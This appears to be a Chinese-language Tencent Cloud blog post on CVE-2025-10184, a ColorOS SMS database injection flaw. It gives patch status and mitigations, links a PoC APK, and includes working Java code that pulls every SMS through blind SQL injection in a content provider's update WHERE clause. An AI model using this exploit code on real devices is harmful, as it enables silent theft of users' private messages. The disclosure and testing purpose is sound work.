首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >ColorOS 短信数据库注入漏洞深度剖析与利用工具

ColorOS 短信数据库注入漏洞深度剖析与利用工具

原创
作者头像
qife122
发布2026-03-02 14:33:27
发布2026-03-02 14:33:27
40
举报

ColorOS 短信数据库注入漏洞深度剖析与利用工具

本项目揭示了存在于 OPPO及其子品牌(一加、realme) 的 ColorOS 系统中的高危短信数据库注入漏洞 (CVE-2025-10184)。该漏洞允许任意应用在 无需任何权限、无需用户交互 的情况下,通过数据库注入攻击读取设备上的所有短信内容,严重威胁用户隐私安全。此仓库不仅提供了漏洞的详细分析,还包含一个用于演示和验证漏洞的概念验证(PoC)应用及核心代码解析。

功能特性

  • 漏洞技术深度解析:详细说明了漏洞的类型(数据库注入1=1 AND)、触发机制及其根本原因。
  • 盲注数据导出实现:核心工具通过创新的盲注技术,逐字符还原数据库中的短信数据,而无需直接读取数据列。
  • 多品牌影响范围确认:明确指出受影响的设备范围包括 OPPO、一加、realme,并追溯了漏洞可能存在的版本跨度。
  • 实时修复状态追踪:项目记录了厂商的修复进度,包括特定系统补丁的推送情况(如15.0.0.860Patch01)及手动更新方法。
  • 用户防护与自救方案:提供了在补丁推送前后,普通用户可采取的风险规避策略和临时解决方案。
  • 开源验证工具:提供了一个完整的 Android 应用,用户可自行编译或下载预置APK来检测设备是否存在此漏洞。

安装指南

本项目包含两部分:漏洞验证应用核心代码分析

1. 漏洞验证应用安装

对于普通用户,可以使用预编译的APK文件快速检测设备是否存在漏洞。

  1. 下载APK:从提供的可信源(如蓝奏云链接 https://yuuou.lanzout.com/iiQE337s6dha)下载测试应用 yuu_v3.6.apk
  2. 准备安装
    • 确保设备已开启“允许安装未知来源应用”的选项。
    • 安全建议:为排除厂商的包名拦截,建议在 断网(开启飞行模式) 状态下进行安装。
  3. 安装与测试
    • 安装下载的APK文件。
    • 打开应用,如果界面成功显示短信内容,则代表当前设备存在此漏洞。
    • 注意:此测试应用无联网功能,验证完毕后请及时卸载。

2. 开发者环境搭建

如需编译或分析源码,请确保您的开发环境满足以下条件:

  • Android Studio:最新稳定版。
  • SDK:Android 5.0 (API 21) 或更高版本。
  • 依赖项:项目依赖于 jsqlparser 库用于SQL语法解析。请确保在 build.gradle 文件中包含以下依赖:dependencies { implementation 'net.sf.jsqlparser:jsqlparser:4.7' // 或更高版本 // ... 其他依赖 }

使用说明

该项目主要包含一个 MainActivity,它通过经典的“盲注”(Blind SQL Injection)手法,一步步将数据库中的数据导出到屏幕上。

基础使用示例

  1. 启动应用:在存在漏洞的设备上安装并打开应用。
  2. 输入查询语句:在界面上的输入框中,输入您想查询的 SQL 语句,例如获取所有短信:SELECT * FROM sms;或者获取表结构信息:SELECT sql FROM sqlite_master WHERE type='table';
  3. 触发导出:点击“触发盲注导出”(triggerSqliBtn)按钮。
  4. 查看结果:应用将开始在后台执行盲注攻击,并将恢复出的数据行实时显示在可滚动的文本框(queryLogTxt)中。

核心代码解析

1. SQL 注入核心:盲注(Blind SQL Injection)

由于系统Content Provider不会直接返回查询的数据集,而是返回受影响的行数或在特定条件下抛出异常,因此工具采用了二分法盲注技术逐字符提取数据。

2. 查询解析与改写 (QueryParser.java)

QueryParser 类负责解析用户输入的原始 SELECT 语句,并将其改写成适合盲注的形式。

代码语言:java
复制
// QueryParser.java 核心片段 - 解析并改写 SELECT 为单列拼接
public class QueryParser {
    // ... 使用 JSQLParser 解析 SQL
    public String buildInjectionQuery(String originalQuery) {
        // 1. 解析原始 SELECT 语句
        Select select = (Select) CCJSqlParserUtil.parse(originalQuery);
        PlainSelect plainSelect = (PlainSelect) select.getSelectBody();

        // 2. 获取原始查询的字段列表,如果没有指定(如 SELECT *),则从 sqlite_master 反解析表结构获取字段
        // ... (省略获取列的复杂逻辑) ...

        // 3. 关键步骤:将多列查询改写为单列拼接查询
        // 例如将 "SELECT address, body FROM sms" 改写为 
        // "SELECT address || '!!' || body AS combined_row FROM sms"
        // 这样每一行数据都变成了一个长字符串,各列用 "!!" 分隔
        List<String> columnNames = getColumnList(plainSelect);
        StringBuilder combinedColumns = new StringBuilder();
        for (int i = 0; i < columnNames.size(); i++) {
            if (i > 0) {
                combinedColumns.append(" || '").append(ROW_CONCAT_DELIM).append("' || ");
            }
            combinedColumns.append(columnNames.get(i));
        }
        // 构造新的内部查询
        String innerQuery = "SELECT " + combinedColumns.toString() + " AS combined_row FROM (" + originalQuery + ")";
        return innerQuery;
    }
}
3. 盲注数据提取 (MainActivity - 核心逻辑)

MainActivity 包含了通过 ContentResolver 执行注入和二分法提取数据的完整逻辑。

代码语言:java
复制
// MainActivity 核心片段 - 二分法盲注提取单行数据
// 假设已通过 COUNT(*) 确定了总行数,现在要提取第 N 行 (OFFSET N-1)
private void extractRowByBinarySearch(Uri uri, String baseWhere, int rowIndex) {
    String targetRowQuery = originalQuery + " LIMIT 1 OFFSET " + rowIndex; // 定位到特定行
    String combinedRowQuery = "SELECT combined_row FROM (" + targetRowQuery + ")"; // 使用改写后的查询获取拼接串

    StringBuilder rowStringBuilder = new StringBuilder();
    // 对每个字符的位置进行循环
    for (int pos = 1; ; pos++) {
        int low = 0x20; // 空格
        int high = 0x7E; // 可打印字符范围 '~'

        // 二分查找字符的 ASCII 码
        while (low < high) {
            int mid = (low + high) / 2;
            // 构造 WHERE 子句,判断当前字符的 ASCII 码是否在 [low, mid] 区间
            // 例如: WHERE unicode(substr(combined_row, pos, 1)) BETWEEN low AND mid
            String whereClause = String.format(Locale.US,
                "unicode(substr((%s), %d, 1)) BETWEEN %d AND %d",
                combinedRowQuery, pos, low, mid
            );

            ContentValues values = new ContentValues();
            values.put("data1", "dummy"); // 触发更新的数据
            try {
                // 核心注入点:执行 UPDATE 操作,通过 WHERE 子句进行 SQL 注入判断
                // 如果条件为真,则会更新某行(或约束异常返回 >0),否则返回 0
                int count = getContentResolver().update(uri, values, "1=1 AND (" + whereClause + ")", null);
                if (count > 0) {
                    high = mid; // 字符在当前区间内,缩小范围
                } else {
                    low = mid + 1; // 字符不在当前区间,提高下限
                }
            } catch (Exception e) {
                // 某些情况下,数据库可能通过约束异常来返回“真”的结果,需要根据实际情况调整
                Log.d(TAG, "Update exception, treat as 'true' condition", e);
                high = mid;
            }
        }

        char currentChar = (char) low;
        if (currentChar == '\0') { // 假设字符串结束符
            break;
        }
        rowStringBuilder.append(currentChar);
    }

    // 得到一个完整的行字符串,例如 "1234567890!!这是短信内容"
    String fullRow = rowStringBuilder.toString();
    // 按 "!!" 分隔,还原成各列
    String[] columns = fullRow.split(ROW_CONCAT_DELIM, -1);
    // ... 将 columns 记录到 UI 或日志中
}
```FINISHED
代码语言:txt
复制

6HFtX5dABrKlqXeO5PUv/y7Qop7lbYYKGD10fyA+KyQ2qlyHLVnXNDBEZ+UO+7nt

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ColorOS 短信数据库注入漏洞深度剖析与利用工具
    • 功能特性
    • 安装指南
      • 1. 漏洞验证应用安装
      • 2. 开发者环境搭建
    • 使用说明
      • 基础使用示例
      • 核心代码解析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档